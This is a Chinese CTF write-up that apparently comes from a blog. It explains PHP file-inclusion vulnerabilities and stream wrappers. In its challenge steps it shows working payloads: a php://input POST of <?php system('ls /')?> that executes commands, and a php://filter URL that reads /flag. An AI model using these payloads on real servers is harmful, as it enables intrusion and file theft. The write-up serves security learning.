CTFHUB--文件包含漏洞--RCE

文件包含漏洞

文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

PHP伪协议

file:// --- 访问本地文件系统

http:// --- 访问 HTTP(s) 网址

ftp:// --- 访问 FTP(s) URLs

php:// --- 访问各个输入/输出流(I/O streams)

zlib:// --- 压缩流

data:// --- 数据(RFC 2397)

glob:// --- 查找匹配的文件路径模式

phar:// --- PHP 归档

ssh2:// --- Secure Shell 2

rar:// --- RAR

ogg:// --- 音频流

expect:// --- 处理交互式的流

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter经常会被当作代码呗执行,所以我们通常会对他进行BASE64编码

Php://input任意代码执行;这种伪协议用于读取原始的HTTP POST数据,可以用于处理上传的文件和表单数据。

data://text/plain 任意代码执行

zip:// 配合文件上传开启后门

案列:

Php://input

第一步:

使用url:?file=php://input查看源代码

第二步:

使用BP进行抓包,使用POST传参传入伪协议<?php system('ls /')?>

第三步:

看到了flag,使用cat,得到flag

读取源代码

第一步:

提示了flag在/flag里

第二步:

构造url:?file=php://filter/resource=/flag 得到flag

远程包含

第一步:

使用php://

使用BP传参,用POST传参传入PHP伪协议,得到flag

相关推荐
a_ran1 天前
一些 Go Web 开发笔记
后端·golang·go·编程·web·网站
柏箱1 天前
使用html写一个能发起请求的登录界面
前端·javascript·html·web
OEC小胖胖3 天前
Spring MVC系统学习(二)——Spring MVC的核心类和注解
java·后端·学习·spring·mvc·web
cyt涛6 天前
WEB服务器——Tomcat
运维·服务器·http·servlet·tomcat·web·jsp
OEC小胖胖6 天前
js中正则表达式中【exec】用法深度解读
开发语言·前端·javascript·正则表达式·web
Dovir多多7 天前
web服务器运维常用技巧总结
运维·服务器·ubuntu·docker·centos·云计算·web
余生H7 天前
前端大模型入门:使用Transformers.js实现纯网页版RAG(一)
前端·人工智能·transformer·embedding·web·word2vec·rag
安红豆.8 天前
[NewStarCTF 2023 公开赛道]Begin of PHP1
web安全·php·哈希算法·web·ctf
HinsCoder9 天前
【测试】——Selenium API (万字详解)
自动化测试·笔记·学习·selenium·测试工具·web·测试
OEC小胖胖9 天前
js进阶——作用域闭包
开发语言·前端·javascript·ecmascript·web